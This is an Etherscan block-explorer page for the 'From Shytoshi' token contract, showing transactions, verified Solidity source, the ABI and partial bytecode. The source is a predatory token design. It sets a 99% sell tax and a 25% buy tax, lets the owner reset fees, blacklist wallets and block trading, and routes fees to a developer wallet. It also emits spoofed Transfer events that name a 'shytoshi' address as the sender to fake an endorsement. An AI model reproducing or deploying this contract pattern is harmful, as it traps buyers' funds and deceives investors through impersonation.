ETH Price: $1,986.33 (+6.49%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve232277192025-08-26 20:37:11186 days ago1756240631IN
0x5A98fF48...9A3FbFC2C
0 ETH0.000260915.59729399
Approve225431772025-05-23 4:26:59282 days ago1747974419IN
0x5A98fF48...9A3FbFC2C
0 ETH0.000087081.86768746
Approve225071022025-05-18 3:06:35287 days ago1747537595IN
0x5A98fF48...9A3FbFC2C
0 ETH0.000018110.38897277
Transfer219346382025-02-27 2:18:47367 days ago1740622727IN
0x5A98fF48...9A3FbFC2C
0 ETH0.000070110.6447283
Approve217176162025-01-27 18:21:35397 days ago1738002095IN
0x5A98fF48...9A3FbFC2C
0 ETH0.0006410713.76710393
Approve217176132025-01-27 18:20:59397 days ago1738002059IN
0x5A98fF48...9A3FbFC2C
0 ETH0.000704115.12066902
Approve217173222025-01-27 17:22:23397 days ago1737998543IN
0x5A98fF48...9A3FbFC2C
0 ETH0.0006468513.89105057
Approve217171872025-01-27 16:55:11397 days ago1737996911IN
0x5A98fF48...9A3FbFC2C
0 ETH0.0008072517.31338596
Approve217171832025-01-27 16:54:23397 days ago1737996863IN
0x5A98fF48...9A3FbFC2C
0 ETH0.0008149417.47842865
Approve217171782025-01-27 16:53:23397 days ago1737996803IN
0x5A98fF48...9A3FbFC2C
0 ETH0.00073215.69955176
Approve201723642024-06-26 0:45:11613 days ago1719362711IN
0x5A98fF48...9A3FbFC2C
0 ETH0.000133752.87238959
Approve188688822023-12-26 9:09:35796 days ago1703581775IN
0x5A98fF48...9A3FbFC2C
0 ETH0.0006754814.50595712
Approve185428522023-11-10 16:51:35841 days ago1699635095IN
0x5A98fF48...9A3FbFC2C
0 ETH0.0012065449.68893458
Approve181320672023-09-14 4:14:23899 days ago1694664863IN
0x5A98fF48...9A3FbFC2C
0 ETH0.00045719.8163246
Approve169824092023-04-05 11:53:591060 days ago1680695639IN
0x5A98fF48...9A3FbFC2C
0 ETH0.0014421730.97057542
Approve168542622023-03-18 11:11:591078 days ago1679137919IN
0x5A98fF48...9A3FbFC2C
0 ETH0.0004330317.83364368
Approve168448902023-03-17 3:33:591080 days ago1679024039IN
0x5A98fF48...9A3FbFC2C
0 ETH0.0007679116.49091251
Approve168378112023-03-16 3:41:591081 days ago1678938119IN
0x5A98fF48...9A3FbFC2C
0 ETH0.0007579916.2778911
Approve167814242023-03-08 5:20:471089 days ago1678252847IN
0x5A98fF48...9A3FbFC2C
0 ETH0.0009030619.39326013
Approve166864412023-02-22 20:46:471102 days ago1677098807IN
0x5A98fF48...9A3FbFC2C
0 ETH0.001760537.80660588
Approve166855942023-02-22 17:55:591102 days ago1677088559IN
0x5A98fF48...9A3FbFC2C
0 ETH0.0020156143.28506141
Approve166717082023-02-20 19:02:351104 days ago1676919755IN
0x5A98fF48...9A3FbFC2C
0 ETH0.0018400239.46343318
Approve166629322023-02-19 13:27:591105 days ago1676813279IN
0x5A98fF48...9A3FbFC2C
0 ETH0.0012650627.16710081
Transfer166588162023-02-18 23:35:351106 days ago1676763335IN
0x5A98fF48...9A3FbFC2C
0 ETH0.0018829319.07445451
Transfer166581632023-02-18 21:23:471106 days ago1676755427IN
0x5A98fF48...9A3FbFC2C
0 ETH0.0020478120.74224762
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer166459652023-02-17 4:08:471108 days ago1676606927
0x5A98fF48...9A3FbFC2C
0.06311999 ETH
Transfer166459652023-02-17 4:08:471108 days ago1676606927
0x5A98fF48...9A3FbFC2C
0.06311999 ETH
Transfer166458622023-02-17 3:48:111108 days ago1676605691
0x5A98fF48...9A3FbFC2C
0.05797434 ETH
Transfer166458622023-02-17 3:48:111108 days ago1676605691
0x5A98fF48...9A3FbFC2C
0.05797434 ETH
Transfer166456702023-02-17 3:09:111108 days ago1676603351
0x5A98fF48...9A3FbFC2C
0.03133443 ETH
Transfer166456702023-02-17 3:09:111108 days ago1676603351
0x5A98fF48...9A3FbFC2C
0.03133443 ETH
Transfer166456222023-02-17 2:59:351108 days ago1676602775
0x5A98fF48...9A3FbFC2C
0.02324711 ETH
Transfer166456222023-02-17 2:59:351108 days ago1676602775
0x5A98fF48...9A3FbFC2C
0.02324711 ETH
Transfer166456062023-02-17 2:56:231108 days ago1676602583
0x5A98fF48...9A3FbFC2C
0.04968853 ETH
Transfer166456062023-02-17 2:56:231108 days ago1676602583
0x5A98fF48...9A3FbFC2C
0.04968853 ETH
Transfer166456052023-02-17 2:56:111108 days ago1676602571
0x5A98fF48...9A3FbFC2C
0.03270069 ETH
Transfer166456052023-02-17 2:56:111108 days ago1676602571
0x5A98fF48...9A3FbFC2C
0.03270069 ETH
Transfer166456052023-02-17 2:56:111108 days ago1676602571
0x5A98fF48...9A3FbFC2C
0.38636699 ETH
Transfer166456052023-02-17 2:56:111108 days ago1676602571
0x5A98fF48...9A3FbFC2C
0.38636699 ETH
Transfer166455922023-02-17 2:53:351108 days ago1676602415
0x5A98fF48...9A3FbFC2C
0.55782953 ETH
Transfer166455922023-02-17 2:53:351108 days ago1676602415
0x5A98fF48...9A3FbFC2C
0.55782953 ETH
Transfer166454902023-02-17 2:32:351108 days ago1676601155
0x5A98fF48...9A3FbFC2C
0.02585523 ETH
Transfer166454902023-02-17 2:32:351108 days ago1676601155
0x5A98fF48...9A3FbFC2C
0.02585523 ETH
Transfer166454902023-02-17 2:32:351108 days ago1676601155
0x5A98fF48...9A3FbFC2C
0.03221623 ETH
Transfer166454902023-02-17 2:32:351108 days ago1676601155
0x5A98fF48...9A3FbFC2C
0.03221623 ETH
Transfer166454902023-02-17 2:32:351108 days ago1676601155
0x5A98fF48...9A3FbFC2C
0.00817139 ETH
Transfer166454902023-02-17 2:32:351108 days ago1676601155
0x5A98fF48...9A3FbFC2C
0.00817139 ETH
Transfer166454812023-02-17 2:30:471108 days ago1676601047
0x5A98fF48...9A3FbFC2C
0.04569669 ETH
Transfer166454812023-02-17 2:30:471108 days ago1676601047
0x5A98fF48...9A3FbFC2C
0.04569669 ETH
Transfer166454812023-02-17 2:30:471108 days ago1676601047
0x5A98fF48...9A3FbFC2C
0.0775141 ETH
View All Internal Transactions
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Shytoshi

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2023-02-17
*/

/*
http://FromShytoshi.com
https://twitter.com/FromShytoshi
https://t.me/fromshytoshi
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract Shytoshi is Context, IERC20, Ownable {

    using SafeMath for uint256;

    string private constant _name = "From Shytoshi";
    string private constant _symbol = "Shytoshi";
    uint8 private constant _decimals = 9;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1000000000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 25;
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 99;

    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;

    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;

    mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
    address payable private _developmentAddress = payable(0x29B42839Dc48f3c25CEB0DDAFeE25821f9E20C9C);
    address payable private _marketingAddress = payable(0x29B42839Dc48f3c25CEB0DDAFeE25821f9E20C9C);
    address shytoshi = 0xaC6Be0f5dEC557f243D3F0cA3a6d6452E24A172c;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;

    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled = true;

    uint256 public _maxTxAmount = 20000000 * 10**9;
    uint256 public _maxWalletSize = 20000000 * 10**9;
    uint256 public _swapTokensAtAmount = 1000000 * 10**9;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {

        _rOwned[_msgSender()] = _rTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[_marketingAddress] = true;

        emit Transfer(address(0), shytoshi, _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;

        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;

        _redisFee = 0;
        _taxFee = 0;
    }

    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {

            //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }

            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
            require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");

            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;

            if(contractTokenBalance >= _maxTxAmount)
            {
                contractTokenBalance = _maxTxAmount;
            }

            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        bool takeFee = true;

        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {

            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }

            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }

        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _marketingAddress.transfer(amount);
    }

    function setTrading(bool _tradingOpen) public onlyOwner {
        tradingOpen = _tradingOpen;
    }

    function manualswap() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }

    function manualsend() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    function blockBots(address[] memory bots_) public onlyOwner {
        for (uint256 i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function unblockBot(address notbot) public onlyOwner {
        bots[notbot] = false;
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);

        if (sender == uniswapV2Pair || sender == owner()) {
            emit Transfer(shytoshi, recipient, tTransferAmount);
        } else {
            emit Transfer(sender, recipient, tTransferAmount);
        }
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
        _redisFeeOnBuy = redisFeeOnBuy;
        _redisFeeOnSell = redisFeeOnSell;
        _taxFeeOnBuy = taxFeeOnBuy;
        _taxFeeOnSell = taxFeeOnSell;
    }

    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }

    //Set minimum tokens required to swap.
    function toggleSwap(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }

    //Set maximum transaction
    function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
        _maxTxAmount = maxTxAmount;
    }

    function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
        _maxWalletSize = maxWalletSize;
    }

    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }

}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"unblockBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526200001a670de0b6b3a7640000600019620003a2565b6200002890600019620003c5565b6006556000600881905560196009819055600a8290556063600b819055600c839055600d819055600e92909255600f91909155601280546001600160a01b03199081167329b42839dc48f3c25ceb0ddafee25821f9e20c9c9081179092556013805482169092179091556014805490911673ac6be0f5dec557f243d3f0ca3a6d6452e24a172c1790556016805462ffffff60a01b1916600160b01b17905566470de4df820000601781905560185566038d7ea4c680009055348015620000ed57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506006543360009081526002602090815260409182902092909255601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a01559260048083019392829003018186803b158015620001a657600080fd5b505afa158015620001bb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001e19190620003eb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200022a57600080fd5b505afa1580156200023f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002659190620003eb565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015620002ae57600080fd5b505af1158015620002c3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002e99190620003eb565b601680546001600160a01b0319166001600160a01b039283161790556000805482168152600560209081526040808320805460ff199081166001908117909255308552828520805482168317905560125486168552828520805482168317905560135486168552828520805490911690911790556014549051670de0b6b3a764000081529316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3506200041d565b600082620003c057634e487b7160e01b600052601260045260246000fd5b500690565b600082821015620003e657634e487b7160e01b600052601160045260246000fd5b500390565b600060208284031215620003fe57600080fd5b81516001600160a01b03811681146200041657600080fd5b9392505050565b611e8d806200042d6000396000f3fe6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055c578063dd62ed3e1461057c578063ea1644d5146105c2578063f2fde38b146105e257600080fd5b8063a2a957bb146104d7578063a9059cbb146104f7578063bfd7928414610517578063c3c8cd801461054757600080fd5b80638f70ccf7116100d15780638f70ccf7146104505780638f9a55c01461047057806395d89b411461048657806398a5c315146104b757600080fd5b80637d1db4a5146103ef5780637f2feddc146104055780638da5cb5b1461043257600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038557806370a082311461039a578063715018a6146103ba57806374010ece146103cf57600080fd5b8063313ce5671461030957806349bd5a5e146103255780636b999053146103455780636d8aa8f81461036557600080fd5b80631694505e116101ab5780631694505e1461027657806318160ddd146102ae57806323b872dd146102d35780632fd689e3146102f357600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024657600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f73660046119de565b610602565b005b34801561020a57600080fd5b5060408051808201909152600d81526c46726f6d20536879746f73686960981b60208201525b60405161023d9190611aa3565b60405180910390f35b34801561025257600080fd5b50610266610261366004611af8565b6106a1565b604051901515815260200161023d565b34801561028257600080fd5b50601554610296906001600160a01b031681565b6040516001600160a01b03909116815260200161023d565b3480156102ba57600080fd5b50670de0b6b3a76400005b60405190815260200161023d565b3480156102df57600080fd5b506102666102ee366004611b24565b6106b8565b3480156102ff57600080fd5b506102c560195481565b34801561031557600080fd5b506040516009815260200161023d565b34801561033157600080fd5b50601654610296906001600160a01b031681565b34801561035157600080fd5b506101fc610360366004611b65565b610721565b34801561037157600080fd5b506101fc610380366004611b92565b61076c565b34801561039157600080fd5b506101fc6107b4565b3480156103a657600080fd5b506102c56103b5366004611b65565b6107ff565b3480156103c657600080fd5b506101fc610821565b3480156103db57600080fd5b506101fc6103ea36